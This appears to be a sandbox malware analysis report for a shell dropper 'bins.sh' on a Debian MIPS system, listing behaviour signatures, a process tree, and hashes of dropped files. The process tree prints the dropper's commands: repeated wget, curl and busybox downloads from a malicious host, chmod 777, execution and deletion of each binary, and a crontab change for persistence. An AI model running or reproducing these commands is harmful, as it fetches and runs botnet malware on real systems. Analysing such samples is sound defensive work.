Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09/11/2024, 13:41

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241109-qy4rssvjfs
  • SHA256 623e3c1314fabbc0c20a6264bcad1f14f53975d61892d2b93a815974ca8c0ff0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1914) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          ./DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:770
          • /bin/chmod
            chmod 777 EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • File and Directory Permissions Modification
            PID:776
          • /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            ./EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
            • Executes dropped EXE
            PID:779
          • /bin/rm
            rm EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
            2⤵
              PID:782
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:783
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:797
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:799
            • /bin/chmod
              chmod 777 z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • File and Directory Permissions Modification
              PID:802
            • /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              ./z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:804
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:806
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:807
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:809
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:810
                • /bin/rm
                  rm z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
                  2⤵
                    PID:822
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • System Network Configuration Discovery
                    PID:827
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • System Network Configuration Discovery
                    PID:829
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:912
                  • /bin/chmod
                    chmod 777 JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • File and Directory Permissions Modification
                    PID:929
                  • /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    ./JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                    • Executes dropped EXE
                    PID:930
                  • /bin/rm
                    rm JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                    2⤵
                      PID:932
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • System Network Configuration Discovery
                      PID:933
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • System Network Configuration Discovery
                      PID:934
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:936
                    • /bin/chmod
                      chmod 777 e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • File and Directory Permissions Modification
                      PID:937
                    • /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      ./e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                      • Executes dropped EXE
                      PID:938
                    • /bin/rm
                      rm e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                      2⤵
                        PID:940
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • System Network Configuration Discovery
                        PID:941
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:942
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:943
                      • /bin/chmod
                        chmod 777 64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • File and Directory Permissions Modification
                        PID:948
                      • /tmp/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        ./64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                        • Executes dropped EXE
                        PID:949
                      • /bin/rm
                        rm 64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                        2⤵
                          PID:950
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • System Network Configuration Discovery
                          PID:951
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • System Network Configuration Discovery
                          PID:952
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:955
                        • /bin/chmod
                          chmod 777 reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • File and Directory Permissions Modification
                          PID:956
                        • /tmp/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          ./reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                          • Executes dropped EXE
                          PID:957
                        • /bin/rm
                          rm reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                          2⤵
                            PID:959
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/JaVmaYjjOd0D0lpn4SpRabDztV5ARwE69K
                            2⤵
                            • System Network Configuration Discovery
                            PID:960

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg

                              • Path /tmp/64T3lXPAlQhTDUaFGQmgwI29SnP1CUemlg
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP

                              DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY

                              • Path /tmp/DgY18nfKIcdThLn44egYEVQOYhsN0XsUVY
                              • Size 119KB
                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                              • MD5 SHA1 SHA512 SSDEEP

                              EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y

                              • Path /tmp/EPTMqMUa11TlOYpKaU3Qr0OvF12s1xDC8Y
                              • Size 111KB
                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                              • MD5 SHA1 SHA512 SSDEEP

                              JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f

                              • Path /tmp/JwRisDYuAmHoD7iQW00ABVCz5ZyH8MXQ6f
                              • Size 151KB
                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                              • MD5 SHA1 SHA512 SSDEEP

                              e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq

                              • Path /tmp/e9jKHdDKImGWljC5EvIEqyRWKPbUqZGkbq
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP

                              reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj

                              • Path /tmp/reG21Tzcz9iRfNu2Pql8M5DKiBBcerOQDj
                              • Size 127KB
                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                              • MD5 SHA1 SHA512 SSDEEP

                              z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA

                              • Path /tmp/z5OQVlI8YxHb1rKpxTUnEuGlZyKikO59WA
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP

                              tmp.z6MaCz

                              • Path /var/spool/cron/crontabs/tmp.z6MaCz
                              • Size 210B
                              • SHA256 ea64e22b8366b19863caa3097fc087eab9913da74af1570cfb2c3cd16537b0cf
                              • MD5 SHA1 SHA512